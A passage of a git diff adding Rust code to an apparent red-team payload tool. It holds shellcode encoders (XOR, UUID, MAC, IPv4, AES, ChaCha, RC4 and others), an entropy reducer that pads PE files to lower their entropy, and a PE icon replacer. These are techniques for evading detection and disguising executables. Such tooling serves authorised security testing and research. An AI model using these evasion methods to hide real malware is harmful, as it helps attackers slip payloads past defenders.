"bin" | "binary" => Ok(Self::Bin), + "c" => Ok(Self::C), + "rust" | "rs" => Ok(Self::Rust), + "all" => Ok(Self::All), + _ => anyhow::bail!("Unknown output format: {}. Use bin, c, rust, or all.", s), + } + } +} + +/// Result of encoding a payload +pub struct EncodeResult { + /// The encoded payload bytes + pub encoded: Vec, + /// Key material (if applicable) + pub key: Vec, + /// Additional key material (nonce, IV, etc.) + pub extra: Vec, + /// String-based output (for UUID, MAC, IPv4 encodings) + pub strings: Vec, +} + +/// Encode a payload using the specified method +pub fn encode_payload(data: &[u8], encoding: &EncodingType) -> Result { + match encoding { + EncodingType::Xor => xor::encode(data), + EncodingType::Uuid => uuid::encode(data), + EncodingType::Mac => mac::encode(data), + EncodingType::Ipv4 => ipv4::encode(data), + EncodingType::Base64 => base64_enc::encode(data), + EncodingType::Base45 => base45::encode(data), + EncodingType::Base58 => base58::encode(data), + EncodingType::Aes => aes_enc::encode(data), + EncodingType::Aes2 => aes2::encode(data), + EncodingType::Des => des_enc::encode(data), + EncodingType::ChaCha => chacha::encode(data), + EncodingType::Rc4 => rc4::encode(data), + } +} + +/// Format bytes as C array +pub fn bytes_to_c_array(name: &str, data: &[u8]) -> String { + let hex_vals: Vec = data.iter().map(|b| format!("0x{:02x}", b)).collect(); + let lines: Vec = hex_vals + .chunks(16) + .map(|chunk| format!(" {}", chunk.join(", "))) + .collect(); + format!("unsigned char {}[] = {{\n{}\n}};", name, lines.join(",\n")) +} + +/// Format bytes as Rust array +pub fn bytes_to_rust_array(name: &str, data: &[u8]) -> String { + let hex_vals: Vec = data.iter().map(|b| format!("0x{:02x}", b)).collect(); + let lines: Vec = hex_vals + .chunks(16) + .map(|chunk| format!(" {}", chunk.join(", "))) + .collect(); + format!("const {}: &[u8] = &[\n{}\n];", name, lines.join(",\n")) +} + +/// Format string array as C array +pub fn strings_to_c_array(name: &str, strings: &[String]) -> String { + let entries: Vec = strings.iter().map(|s| format!(" \"{}\"", s)).collect(); + format!("const char* {}[] = {{\n{}\n}};", name, entries.join(",\n")) +} + +/// Format string array as Rust array +pub fn strings_to_rust_array(name: &str, strings: &[String]) -> String { + let entries: Vec = strings.iter().map(|s| format!(" \"{}\"", s)).collect(); + format!("const {}: &[&str] = &[\n{}\n];", name, entries.join(",\n")) +} + +/// Format the encode result for output +pub fn format_output( + result: &EncodeResult, + encoding: &EncodingType, + format: &OutputFormat, +) -> String { + match format { + OutputFormat::Bin | OutputFormat::All => { + // Binary format is handled separately (written as raw bytes) + // All is handled by the caller + String::new() + } + OutputFormat::C => format_c(result, encoding), + OutputFormat::Rust => format_rust(result, encoding), + } +} + +fn format_c(result: &EncodeResult, encoding: &EncodingType) -> String { + match encoding { + EncodingType::Xor => { + let key = bytes_to_c_array("XORkey", &result.key); + let data = bytes_to_c_array("XORed", &result.encoded); + format!("{}\n\n{}", key, data) + } + EncodingType::Uuid => strings_to_c_array("UUIDs", &result.strings), + EncodingType::Mac => strings_to_c_array("MAC", &result.strings), + EncodingType::Ipv4 => strings_to_c_array("IPv4s", &result.strings), + EncodingType::Base64 | EncodingType::Base45 | EncodingType::Base58 => { + let s = &result.strings[0]; + format!("const char {}[] = \"{}\";", encoding, s) + } + EncodingType::Aes | EncodingType::Aes2 => { + let key = bytes_to_c_array("AESkey", &result.key); + let data = bytes_to_c_array("magiccode", &result.encoded); + format!("{}\n\n{}", key, data) + } + EncodingType::Des => { + let key = bytes_to_c_array("DESkey", &result.key); + let data = bytes_to_c_array("magiccode", &result.encoded); + format!("{}\n\n{}", key, data) + } + EncodingType::ChaCha => { + let key = bytes_to_c_array("CHACHAkey", &result.key); + let nonce = bytes_to_c_array("CHACHAnonce", &result.extra); + let data = bytes_to_c_array("magiccode", &result.encoded); + format!("{}\n\n{}\n\n{}", key, nonce, data) + } + EncodingType::Rc4 => { + let key = bytes_to_c_array("RC4key", &result.key); + let data = bytes_to_c_array("magiccode", &result.encoded); + format!("{}\n\n{}", key, data) + } + } +} + +fn format_rust(result: &EncodeResult, encoding: &EncodingType) -> String { + match encoding { + EncodingType::Xor => { + let key = bytes_to_rust_array("XOR_KEY", &result.key); + let data = bytes_to_rust_array("XORED", &result.encoded); + format!("{}\n\n{}", key, data) + } + EncodingType::Uuid => strings_to_rust_array("UUIDS", &result.strings), + EncodingType::Mac => strings_to_rust_array("MACS", &result.strings), + EncodingType::Ipv4 => strings_to_rust_array("IPV4S", &result.strings), + EncodingType::Base64 | EncodingType::Base45 | EncodingType::Base58 => { + let s = &result.strings[0]; + format!( + "const {}: &str = \"{}\";", + encoding.to_string().to_uppercase(), + s + ) + } + EncodingType::Aes | EncodingType::Aes2 => { + let key = bytes_to_rust_array("AES_KEY", &result.key); + let data = bytes_to_rust_array("ENCODED", &result.encoded); + format!("{}\n\n{}", key, data) + } + EncodingType::Des => { + let key = bytes_to_rust_array("DES_KEY", &result.key); + let data = bytes_to_rust_array("ENCODED", &result.encoded); + format!("{}\n\n{}", key, data) + } + EncodingType::ChaCha => { + let key = bytes_to_rust_array("CHACHA_KEY", &result.key); + let nonce = bytes_to_rust_array("CHACHA_NONCE", &result.extra); + let data = bytes_to_rust_array("ENCODED", &result.encoded); + format!("{}\n\n{}\n\n{}", key, nonce, data) + } + EncodingType::Rc4 => { + let key = bytes_to_rust_array("RC4_KEY", &result.key); + let data = bytes_to_rust_array("ENCODED", &result.encoded); + format!("{}\n\n{}", key, data) + } + } +} diff --git a/malefic-mutant/src/tool/encoder/rc4.rs b/malefic-mutant/src/tool/encoder/rc4.rs new file mode 100644 index 0000000..720303e --- /dev/null +++ b/malefic-mutant/src/tool/encoder/rc4.rs @@ -0,0 +1,12 @@ +use super::EncodeResult; +use anyhow::Result; + +pub fn encode(data: &[u8]) -> Result { + let r = malefic_codec::rc4::encode(data); + Ok(EncodeResult { + encoded: r.encoded, + key: r.key, + extra: r.extra, + strings: r.strings, + }) +} diff --git a/malefic-mutant/src/tool/encoder/uuid.rs b/malefic-mutant/src/tool/encoder/uuid.rs new file mode 100644 index 0000000..a66d7a1 --- /dev/null +++ b/malefic-mutant/src/tool/encoder/uuid.rs @@ -0,0 +1,12 @@ +use super::EncodeResult; +use anyhow::Result; + +pub fn encode(data: &[u8]) -> Result { + let r = malefic_codec::uuid::encode(data); + Ok(EncodeResult { + encoded: r.encoded, + key: r.key, + extra: r.extra, + strings: r.strings, + }) +} diff --git a/malefic-mutant/src/tool/encoder/xor.rs b/malefic-mutant/src/tool/encoder/xor.rs new file mode 100644 index 0000000..453f542 --- /dev/null +++ b/malefic-mutant/src/tool/encoder/xor.rs @@ -0,0 +1,12 @@ +use super::EncodeResult; +use anyhow::Result; + +pub fn encode(data: &[u8]) -> Result { + let r = malefic_codec::xor::encode(data); + Ok(EncodeResult { + encoded: r.encoded, + key: r.key, + extra: r.extra, + strings: r.strings, + }) +} diff --git a/malefic-mutant/src/tool/entropy/calculator.rs b/malefic-mutant/src/tool/entropy/calculator.rs new file mode 100644 index 0000000..965155f --- /dev/null +++ b/malefic-mutant/src/tool/entropy/calculator.rs @@ -0,0 +1,69 @@ +/// Shannon entropy calculation for byte sequences. + +/// Calculate Shannon entropy of a byte slice. +/// Returns a value between 0.0 (perfectly uniform, e.g. all zeros) and 8.0 (perfectly random). +pub fn shannon_entropy(data: &[u8]) -> f64 { + if data.is_empty() { + return 0.0; + } + + let mut freq = [0u64; 256]; + for &byte in data { + freq[byte as usize] += 1; + } + + let len = data.len() as f64; + let mut entropy = 0.0; + + for &count in &freq { + if count > 0 { + let p = count as f64 / len; + entropy -= p * p.log2(); + } + } + + entropy +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_all_zeros() { + let data = vec![0u8; 1024]; + assert_eq!(shannon_entropy(&data), 0.0); + } + + #[test] + fn test_all_same_byte() { + let data = vec![0xAA; 512]; + assert_eq!(shannon_entropy(&data), 0.0); + } + + #[test] + fn test_uniform_distribution() { + // All 256 byte values equally distributed + let mut data = Vec::with_capacity(256 * 100); + for _ in 0..100 { + for b in 0..=255u8 { + data.push(b); + } + } + let entropy = shannon_entropy(&data); + assert!((entropy - 8.0).abs() < 0.001); + } + + #[test] + fn test_empty() { + assert_eq!(shannon_entropy(&[]), 0.0); + } + + #[test] + fn test_two_values() { + // Equal distribution of 2 values -> entropy = 1.0 + let data: Vec = (0..1000).map(|i| if i % 2 == 0 { 0 } else { 1 }).collect(); + let entropy = shannon_entropy(&data); + assert!((entropy - 1.0).abs() < 0.01); + } +} diff --git a/malefic-mutant/src/tool/entropy/mod.rs b/malefic-mutant/src/tool/entropy/mod.rs new file mode 100644 index 0000000..a56796e --- /dev/null +++ b/malefic-mutant/src/tool/entropy/mod.rs @@ -0,0 +1,5 @@ +pub mod calculator; +pub mod reducer; + +pub use calculator::shannon_entropy; +pub use reducer::{reduce_entropy, ReduceStrategy}; diff --git a/malefic-mutant/src/tool/entropy/reducer.rs b/malefic-mutant/src/tool/entropy/reducer.rs new file mode 100644 index 0000000..6774d9d --- /dev/null +++ b/malefic-mutant/src/tool/entropy/reducer.rs @@ -0,0 +1,424 @@ +/// Entropy reduction strategies for PE files. +/// +/// Three strategies to reduce Shannon entropy of binary data: +/// - NullBytes: append blocks of 0x00 +/// - Pokemon: append Pokemon name strings (high frequency ASCII) +/// - RandomWords: append random lowercase ASCII words +use rand::Rng; + +/// Strategy for reducing entropy. +#[derive(Debug, Clone, Copy)] +pub enum ReduceStrategy { + NullBytes, + Pokemon, + RandomWords, +} + +impl std::str::FromStr for ReduceStrategy { + type Err = String; + + fn from_str(s: &str) -> Result { + match s.to_lowercase().as_str() { + "null" | "null_bytes" | "nullbytes" => Ok(ReduceStrategy::NullBytes), + "pokemon" => Ok(ReduceStrategy::Pokemon), + "random" | "random_words" | "randomwords" => Ok(ReduceStrategy::RandomWords), + _ => Err(format!( + "'{}' is not a valid strategy. Use: null_bytes, pokemon, random_words", + s + )), + } + } +} + +impl std::fmt::Display for ReduceStrategy { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + ReduceStrategy::NullBytes => write!(f, "null_bytes"), + ReduceStrategy::Pokemon => write!(f, "pokemon"), + ReduceStrategy::RandomWords => write!(f, "random_words"), + } + } +} + +/// 251 original Pokemon names — high-frequency ASCII text with low entropy. +const POKEMON_NAMES: &[&str] = &[ + "Bulbasaur", + "Ivysaur", + "Venusaur", + "Charmander", + "Charmeleon", + "Charizard", + "Squirtle", + "Wartortle", + "Blastoise", + "Caterpie", + "Metapod", + "Butterfree", + "Weedle", + "Kakuna", + "Beedrill", + "Pidgey", + "Pidgeotto", + "Pidgeot", + "Rattata", + "Raticate", + "Spearow", + "Fearow", + "Ekans", + "Arbok", + "Pikachu", + "Raichu", + "Sandshrew", + "Sandslash", + "NidoranF", + "Nidorina", + "Nidoqueen", + "NidoranM", + "Nidorino", + "Nidoking", + "Clefairy", + "Clefable", + "Vulpix", + "Ninetales", + "Jigglypuff", + "Wigglytuff", + "Zubat", + "Golbat", + "Oddish", + "Gloom", + "Vileplume", + "Paras", + "Parasect", + "Venonat", + "Venomoth", + "Diglett", + "Dugtrio", + "Meowth", + "Persian", + "Psyduck", + "Golduck", + "Mankey", + "Primeape", + "Growlithe", + "Arcanine", + "Poliwag", + "Poliwhirl", + "Poliwrath", + "Abra", + "Kadabra", + "Alakazam", + "Machop", + "Machoke", + "Machamp", + "Bellsprout", + "Weepinbell", + "Victreebel", + "Tentacool", + "Tentacruel", + "Geodude", + "Graveler", + "Golem", + "Ponyta", + "Rapidash", + "Slowpoke", + "Slowbro", + "Magnemite", + "Magneton", + "Farfetchd", + "Doduo", + "Dodrio", + "Seel", + "Dewgong", + "Grimer", + "Muk", + "Shellder", + "Cloyster", + "Gastly", + "Haunter", + "Gengar", + "Onix", + "Drowzee", + "Hypno", + "Krabby", + "Kingler", + "Voltorb", + "Electrode", + "Exeggcute", + "Exeggutor", + "Cubone", + "Marowak", + "Hitmonlee", + "Hitmonchan", + "Lickitung", + "Koffing", + "Weezing", + "Rhyhorn", + "Rhydon", + "Chansey", + "Tangela", + "Kangaskhan", + "Horsea", + "Seadra", + "Goldeen", + "Seaking", + "Staryu", + "Starmie", + "MrMime", + "Scyther", + "Jynx", + "Electabuzz", + "Magmar", + "Pinsir", + "Tauros", + "Magikarp", + "Gyarados", + "Lapras", + "Ditto", + "Eevee", + "Vaporeon", + "Jolteon", + "Flareon", + "Porygon", + "Omanyte", + "Omastar", + "Kabuto", + "Kabutops", + "Aerodactyl", + "Snorlax", + "Articuno", + "Zapdos", + "Moltres", + "Dratini", + "Dragonair", + "Dragonite", + "Mewtwo", + "Mew", + "Chikorita", + "Bayleef", + "Meganium", + "Cyndaquil", + "Quilava", + "Typhlosion", + "Totodile", + "Croconaw", + "Feraligatr", + "Sentret", + "Furret", + "Hoothoot", + "Noctowl", + "Ledyba", + "Ledian", + "Spinarak", + "Ariados", + "Crobat", + "Chinchou", + "Lanturn", + "Pichu", + "Cleffa", + "Igglybuff", + "Togepi", + "Togetic", + "Natu", + "Xatu", + "Mareep", + "Flaaffy", + "Ampharos", + "Bellossom", + "Marill", + "Azumarill", + "Sudowoodo", + "Politoed", + "Hoppip", + "Skiploom", + "Jumpluff", + "Aipom", + "Sunkern", + "Sunflora", + "Yanma", + "Wooper", + "Quagsire", + "Espeon", + "Umbreon", + "Murkrow", + "Slowking", + "Misdreavus", + "Unown", + "Wobbuffet", + "Girafarig", + "Pineco", + "Forretress", + "Dunsparce", + "Gligar", + "Steelix", + "Snubbull", + "Granbull", + "Qwilfish", + "Scizor", + "Shuckle", + "Heracross", + "Sneasel", + "Teddiursa", + "Ursaring", + "Slugma", + "Magcargo", + "Swinub", + "Piloswine", + "Corsola", + "Remoraid", + "Octillery", + "Delibird", + "Mantine", + "Skarmory", + "Houndour", + "Houndoom", + "Kingdra", + "Phanpy", + "Donphan", + "Porygon2", + "Stantler", + "Smeargle", + "Tyrogue", + "Hitmontop", + "Smoochum", + "Elekid", + "Magby", + "Miltank", + "Blissey", + "Raikou", + "Entei", + "Suicune", + "Larvitar", + "Pupitar", + "Tyranitar", + "Lugia", + "HoOh", + "Celebi", +]; + +/// Compute Shannon entropy from a frequency table and total count. +fn entropy_from_freq(freq: &[u64; 256], total: u64) -> f64 { + if total == 0 { + return 0.0; + } + let len = total as f64; + let mut entropy = 0.0; + for &count in freq { + if count > 0 { + let p = count as f64 / len; + entropy -= p * p.log2(); + } + } + entropy +} + +/// Reduce entropy of data by appending low-entropy padding. +/// Returns the modified data and the final entropy value. +pub fn reduce_entropy( + data: &[u8], + threshold: f64, + strategy: ReduceStrategy, + max_growth: f64, +) -> (Vec, f64) { + let original_len = data.len(); + let max_size = (original_len as f64 * max_growth) as usize; + let mut result = data.to_vec(); + + let mut freq = [0u64; 256]; + for &b in &result { + freq[b as usize] += 1; + } + let mut total = result.len() as u64; + let mut current_entropy = entropy_from_freq(&freq, total); + + if current_entropy <= threshold { + return (result, current_entropy); + } + + let mut rng = rand::thread_rng(); + let check_interval = 4096; + let mut bytes_since_check: usize = 0; + + while current_entropy > threshold && result.len() < max_size { + let chunk_start = result.len(); + + match strategy { + ReduceStrategy::NullBytes => { + result.extend_from_slice(&[0u8; 4096]); + } + ReduceStrategy::Pokemon => { + for _ in 0..64 { + let idx = rng.gen_range(0..POKEMON_NAMES.len()); + result.extend_from_slice(POKEMON_NAMES[idx].as_bytes()); + result.push(b' '); + } + } + ReduceStrategy::RandomWords => { + for _ in 0..64 { + let word_len = rng.gen_range(3..=10); + for _ in 0..word_len { + result.push(rng.gen_range(b'a'..=b'z')); + } + result.push(b' '); + } + } + } + + for &b in &result[chunk_start..] { + freq[b as usize] += 1; + } + total = result.len() as u64; + bytes_since_check += result.len() - chunk_start; + + if bytes_since_check >= check_interval { + current_entropy = entropy_from_freq(&freq, total); + bytes_since_check = 0; + } + } + + current_entropy = entropy_from_freq(&freq, total); + (result, current_entropy) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_reduce_strategy_parse() { + assert!(matches!( + "null_bytes".parse::().unwrap(), + ReduceStrategy::NullBytes + )); + assert!(matches!( + "pokemon".parse::().unwrap(), + ReduceStrategy::Pokemon + )); + assert!(matches!( + "random_words".parse::().unwrap(), + ReduceStrategy::RandomWords + )); + assert!("invalid".parse::().is_err()); + } + + #[test] + fn test_reduce_null_bytes() { + // Create somewhat random data + let mut data = Vec::with_capacity(1024); + let mut rng = rand::thread_rng(); + for _ in 0..1024 { + data.push(rng.gen::()); + } + + let (result, entropy) = reduce_entropy(&data, 6.0, ReduceStrategy::NullBytes, 10.0); + assert!(entropy <= 6.0); + assert!(result.len() > data.len()); + } + + #[test] + fn test_reduce_already_low() { + let data = vec![0u8; 1024]; + let (result, entropy) = reduce_entropy(&data, 6.0, ReduceStrategy::NullBytes, 10.0); + assert_eq!(result.len(), data.len()); + assert!(entropy <= 6.0); + } +} diff --git a/malefic-mutant/src/tool/icon/ico_parser.rs b/malefic-mutant/src/tool/icon/ico_parser.rs new file mode 100644 index 0000000..adbc182 --- /dev/null +++ b/malefic-mutant/src/tool/icon/ico_parser.rs @@ -0,0 +1,180 @@ +/// ICO file format parser. +/// +/// ICO file structure: +/// ICONDIR header (6 bytes): +/// - reserved: u16 (always 0) +/// - type: u16 (1 = ICO, 2 = CUR) +/// - count: u16 (number of images) +/// ICONDIRENTRY array (16 bytes each): +/// - width: u8 (0 = 256) +/// - height: u8 (0 = 256) +/// - color_count: u8 +/// - reserved: u8 +/// - planes: u16 +/// - bit_count: u16 +/// - bytes_in_res: u32 (size of image data) +/// - image_offset: u32 (offset from file start) +/// Image data follows. +use anyhow::{anyhow, Result}; + +/// Parsed ICO directory entry. +#[derive(Debug, Clone)] +#[allow(dead_code)] +pub struct IcoEntry { + pub width: u8, + pub height: u8, + pub color_count: u8, + pub reserved: u8, + pub planes: u16, + pub bit_count: u16, + pub bytes_in_res: u32, + pub image_offset: u32, +} + +impl IcoEntry { + /// Actual width (0 means 256). + #[allow(dead_code)] + pub fn actual_width(&self) -> u32 { + if self.width == 0 { + 256 + } else { + self.width as u32 + } + } + + /// Actual height (0 means 256). + #[allow(dead_code)] + pub fn actual_height(&self) -> u32 { + if self.height == 0 { + 256 + } else { + self.height as u32 + } + } +} + +/// Parsed ICO file. +#[derive(Debug, Clone)] +pub struct IcoFile { + pub image_type: u16, + pub entries: Vec, + pub image_data: Vec>, +} + +/// Parse an ICO file from raw bytes. +pub fn parse_ico(data: &[u8]) -> Result { + if data.len() < 6 { + return Err(anyhow!("ICO file too small (< 6 bytes)")); + } + + let reserved = u16::from_le_bytes([data[0], data[1]]); + let image_type = u16::from_le_bytes([data[2], data[3]]); + let count = u16::from_le_bytes([data[4], data[5]]); + + if reserved != 0 { + return Err(anyhow!("Invalid ICO header: reserved field is not 0")); + } + + if image_type != 1 && image_type != 2 { + return Err(anyhow!( + "Invalid ICO type: {} (expected 1=ICO or 2=CUR)", + image_type + )); + } + + let header_size = 6 + count as usize * 16; + if data.len() < header_size { + return Err(anyhow!( + "ICO file truncated: need {} bytes for header, got {}", + header_size, + data.len() + )); + } + + let mut entries = Vec::with_capacity(count as usize); + let mut image_data = Vec::with_capacity(count as usize); + + for i in 0..count as usize { + let offset = 6 + i * 16; + let entry = IcoEntry { + width: data[offset], + height: data[offset + 1], + color_count: data[offset + 2], + reserved: data[offset + 3], + planes: u16::from_le_bytes([data[offset + 4], data[offset + 5]]), + bit_count: u16::from_le_bytes([data[offset + 6], data[offset + 7]]), + bytes_in_res: u32::from_le_bytes([ + data[offset + 8], + data[offset + 9], + data[offset + 10], + data[offset + 11], + ]), + image_offset: u32::from_le_bytes([ + data[offset + 12], + data[offset + 13], + data[offset + 14], + data[offset + 15], + ]), + }; + + let img_start = entry.image_offset as usize; + let img_end = img_start + entry.bytes_in_res as usize; + + if img_end > data.len() { + return Err(anyhow!( + "ICO entry {} image data out of bounds: offset={}, size={}, file_len={}", + i, + img_start, + entry.bytes_in_res, + data.len() + )); + } + + image_data.push(data[img_start..img_end].to_vec()); + entries.push(entry); + } + + Ok(IcoFile { + image_type, + entries, + image_data, + }) +} + +/// Build a GRPICONDIR structure for PE resource (RT_GROUP_ICON). +/// +/// GRPICONDIR: +/// reserved: u16 (0) +/// type: u16 (1) +/// count: u16 +/// GRPICONDIRENTRY array (14 bytes each): +/// - width: u8 +/// - height: u8 +/// - color_count: u8 +/// - reserved: u8 +/// - planes: u16 +/// - bit_count: u16 +/// - bytes_in_res: u32 +/// - id: u16 (RT_ICON resource ID) +#[allow(dead_code)] +pub fn build_grp_icon_dir(ico: &IcoFile, base_id: u16) -> Vec { + let count = ico.entries.len() as u16; + let mut buf = Vec::with_capacity(6 + count as usize * 14); + + buf.extend_from_slice(&0u16.to_le_bytes()); // reserved + buf.extend_from_slice(&ico.image_type.to_le_bytes()); // type + buf.extend_from_slice(&count.to_le_bytes()); // count + + for (i, entry) in ico.entries.iter().enumerate() { + buf.push(entry.width); + buf.push(entry.height); + buf.push(entry.color_count); + buf.push(0); // reserved + buf.extend_from_slice(&entry.planes.to_le_bytes()); + buf.extend_from_slice(&entry.bit_count.to_le_bytes()); + buf.extend_from_slice(&entry.bytes_in_res.to_le_bytes()); + buf.extend_from_slice(&(base_id + i as u16).to_le_bytes()); // nID + } + + buf +} diff --git a/malefic-mutant/src/tool/icon/mod.rs b/malefic-mutant/src/tool/icon/mod.rs new file mode 100644 index 0000000..efe7b5a --- /dev/null +++ b/malefic-mutant/src/tool/icon/mod.rs @@ -0,0 +1,7 @@ +pub mod ico_parser; +pub mod replace; +pub mod resource; + +#[allow(unused_imports)] +pub use ico_parser::{parse_ico, IcoFile}; +pub use replace::{extract_icon, replace_icon}; diff --git a/malefic-mutant/src/tool/icon/replace.rs b/malefic-mutant/src/tool/icon/replace.rs new file mode 100644 index 0000000..d054a18 --- /dev/null +++ b/malefic-mutant/src/tool/icon/replace.rs @@ -0,0 +1,298 @@ +/// Icon replacement logic for PE files. +/// +/// Strategy: in-place replacement. +/// - Parse the ICO file to get individual icon images. +/// - Parse the PE resource directory to find RT_ICON and RT_GROUP_ICON entries. +/// - For each icon image: if new data fits within existing allocation, overwrite in-place. +/// - Update RT_GROUP_ICON to match the new icon entries. +/// - If new icon data is larger than existing allocation, return an error. +use anyhow::{anyhow, Result}; + +use super::ico_parser::{parse_ico, IcoFile}; +use super::resource::{ + find_group_icon_entries, find_rsrc_section, parse_grp_icon_dir, parse_resource_directory, +}; + +/// Replace the icon in a PE file with the icon from an ICO file. +pub fn replace_icon(pe_path: &str, ico_path: &str, output_path: &str) -> Result<()> { + let ico_data = std::fs::read(ico_path) + .map_err(|e| anyhow!("Failed to read ICO file '{}': {}", ico_path, e))?; + let ico = parse_ico(&ico_data)?; + + let pe_data = std::fs::read(pe_path) + .map_err(|e| anyhow!("Failed to read PE file '{}': {}", pe_path, e))?; + + let rsrc_info = find_rsrc_section(&pe_data)?; + + // Extract .rsrc section data + let rsrc_start = rsrc_info.file_offset as usize; + let rsrc_end = rsrc_start + rsrc_info.raw_size as usize; + if rsrc_end > pe_data.len() { + return Err(anyhow!(".rsrc section extends beyond file")); + } + let rsrc_data = &pe_data[rsrc_start..rsrc_end]; + + // Parse resource directory tree + let resource_tree = parse_resource_directory(rsrc_data, &rsrc_info)?; + + // Find existing group icon entries to determine icon IDs + let group_icon_entries = find_group_icon_entries(&resource_tree); + if group_icon_entries.is_empty() { + return Err(anyhow!( + "No RT_GROUP_ICON entries found in PE resource directory" + )); + } + let grp_entry = group_icon_entries[0]; + let grp_data_offset = grp_entry.data_file_offset as usize; + let grp_data_size = grp_entry.size as usize; + + if grp_data_offset + grp_data_size > pe_data.len() { + return Err(anyhow!("RT_GROUP_ICON data out of bounds")); + } + let grp_data = &pe_data[grp_data_offset..grp_data_offset + grp_data_size]; + let existing_grp_entries = parse_grp_icon_dir(grp_data)?; + + // Create a map of icon ID -> data entry info for existing icons + // The icon entries are nested: RT_ICON -> name -> language -> data + // We need to match by traversing the tree + let mut icon_data_map: Vec<(u16, u64, u32)> = Vec::new(); // (id, file_offset, existing_size) + for grp_e in &existing_grp_entries { + // Find the matching RT_ICON entry by traversing the tree + for type_entry in &resource_tree { + if type_entry.id == super::resource::RT_ICON { + for name_entry in &type_entry.children { + if name_entry.id == grp_e.id as u32 { + // Descend to language level + for lang_entry in &name_entry.children { + if let Some(ref data) = lang_entry.data { + icon_data_map.push((grp_e.id, data.data_file_offset, data.size)); + } + } + // Also check if name_entry itself has data (2-level tree) + if let Some(ref data) = name_entry.data { + icon_data_map.push((grp_e.id, data.data_file_offset, data.size)); + } + } + } + } + } + } + + // Sort by ID + icon_data_map.sort_by_key(|&(id, _, _)| id); + icon_data_map.dedup_by_key(|e| e.0); + + // Now replace: copy PE data, overwrite icon data in-place + let mut output_data = pe_data.clone(); + + let num_to_replace = ico.entries.len().min(icon_data_map.len()); + + for i in 0..num_to_replace { + let (_existing_id, file_offset, existing_size) = icon_data_map[i]; + let new_data = &ico.image_data[i]; + + if new_data.len() > existing_size as usize { + return Err(anyhow!( + "New icon image {} is {} bytes but existing slot is only {} bytes. \ + Icon must be same size or smaller than the original.", + i, + new_data.len(), + existing_size + )); + } + + let offset = file_offset as usize; + // Write new icon data + output_data[offset..offset + new_data.len()].copy_from_slice(new_data); + // Zero-fill remaining space + for j in new_data.len()..existing_size as usize { + output_data[offset + j] = 0; + } + + // Update the resource data entry's Size field to match new data size + // Find the corresponding data entry and update its size in the .rsrc section + for type_entry in &resource_tree { + if type_entry.id == super::resource::RT_ICON { + for name_entry in &type_entry.children { + if name_entry.id == icon_data_map[i].0 as u32 { + for lang_entry in &name_entry.children { + if let Some(ref data) = lang_entry.data { + if data.data_file_offset == file_offset { + // Update size at entry_file_offset + 4 + let size_offset = data.entry_file_offset as usize + 4; + if size_offset + 4 <= output_data.len() { + let new_size = new_data.len() as u32; + output_data[size_offset..size_offset + 4] + .copy_from_slice(&new_size.to_le_bytes()); + } + } + } + } + if let Some(ref data) = name_entry.data { + if data.data_file_offset == file_offset { + let size_offset = data.entry_file_offset as usize + 4; + if size_offset + 4 <= output_data.len() { + let new_size = new_data.len() as u32; + output_data[size_offset..size_offset + 4] + .copy_from_slice(&new_size.to_le_bytes()); + } + } + } + } + } + } + } + } + + // Build new group icon dir using new ICO entries but existing IDs + let new_grp_dir = build_replacement_grp_icon_dir(&ico, &existing_grp_entries); + if new_grp_dir.len() <= grp_data_size { + let offset = grp_data_offset; + output_data[offset..offset + new_grp_dir.len()].copy_from_slice(&new_grp_dir); + // Zero-fill remaining + for j in new_grp_dir.len()..grp_data_size { + output_data[offset + j] = 0; + } + // Update the group icon data entry size + let grp_entry_size_offset = grp_entry.entry_file_offset as usize + 4; + if grp_entry_size_offset + 4 <= output_data.len() { + let new_size = new_grp_dir.len() as u32; + output_data[grp_entry_size_offset..grp_entry_size_offset + 4] + .copy_from_slice(&new_size.to_le_bytes()); + } + } + + std::fs::write(output_path, &output_data)?; + + Ok(()) +} + +/// Build a replacement GRPICONDIR that uses existing icon resource IDs. +fn build_replacement_grp_icon_dir( + ico: &IcoFile, + existing_entries: &[super::resource::GrpIconDirEntry], +) -> Vec { + let count = ico.entries.len().min(existing_entries.len()) as u16; + let mut buf = Vec::with_capacity(6 + count as usize * 14); + + buf.extend_from_slice(&0u16.to_le_bytes()); // reserved + buf.extend_from_slice(&ico.image_type.to_le_bytes()); // type + buf.extend_from_slice(&count.to_le_bytes()); // count + + for i in 0..count as usize { + let ico_entry = &ico.entries[i]; + let existing_id = existing_entries[i].id; + + buf.push(ico_entry.width); + buf.push(ico_entry.height); + buf.push(ico_entry.color_count); + buf.push(0); // reserved + buf.extend_from_slice(&ico_entry.planes.to_le_bytes()); + buf.extend_from_slice(&ico_entry.bit_count.to_le_bytes()); + buf.extend_from_slice(&ico_entry.bytes_in_res.to_le_bytes()); + buf.extend_from_slice(&existing_id.to_le_bytes()); // keep existing resource ID + } + + buf +} + +/// Extract icons from a PE file and save as an ICO file. +pub fn extract_icon(pe_path: &str, output_ico_path: &str) -> Result<()> { + let pe_data = std::fs::read(pe_path) + .map_err(|e| anyhow!("Failed to read PE file '{}': {}", pe_path, e))?; + + let rsrc_info = find_rsrc_section(&pe_data)?; + let rsrc_start = rsrc_info.file_offset as usize; + let rsrc_end = rsrc_start + rsrc_info.raw_size as usize; + if rsrc_end > pe_data.len() { + return Err(anyhow!(".rsrc section extends beyond file")); + } + let rsrc_data = &pe_data[rsrc_start..rsrc_end]; + + let resource_tree = parse_resource_directory(rsrc_data, &rsrc_info)?; + + // Find RT_GROUP_ICON + let group_icon_entries = find_group_icon_entries(&resource_tree); + if group_icon_entries.is_empty() { + return Err(anyhow!("No RT_GROUP_ICON found")); + } + + let grp_entry = group_icon_entries[0]; + let grp_data_offset = grp_entry.data_file_offset as usize; + let grp_data_size = grp_entry.size as usize; + let grp_data = &pe_data[grp_data_offset..grp_data_offset + grp_data_size]; + let grp_entries = parse_grp_icon_dir(grp_data)?; + + // Collect icon image data using resource IDs + let mut icon_images: Vec<(u8, u8, u8, u16, u16, Vec)> = Vec::new(); + + for grp_e in &grp_entries { + // Find matching RT_ICON by id + for type_entry in &resource_tree { + if type_entry.id == super::resource::RT_ICON { + for name_entry in &type_entry.children { + if name_entry.id == grp_e.id as u32 { + // Get data from language level + let data_entry = name_entry + .children + .iter() + .find_map(|lang| lang.data.as_ref()) + .or(name_entry.data.as_ref()); + + if let Some(de) = data_entry { + let start = de.data_file_offset as usize; + let end = start + de.size as usize; + if end <= pe_data.len() { + icon_images.push(( + grp_e.width, + grp_e.height, + grp_e.color_count, + grp_e.planes, + grp_e.bit_count, + pe_data[start..end].to_vec(), + )); + } + } 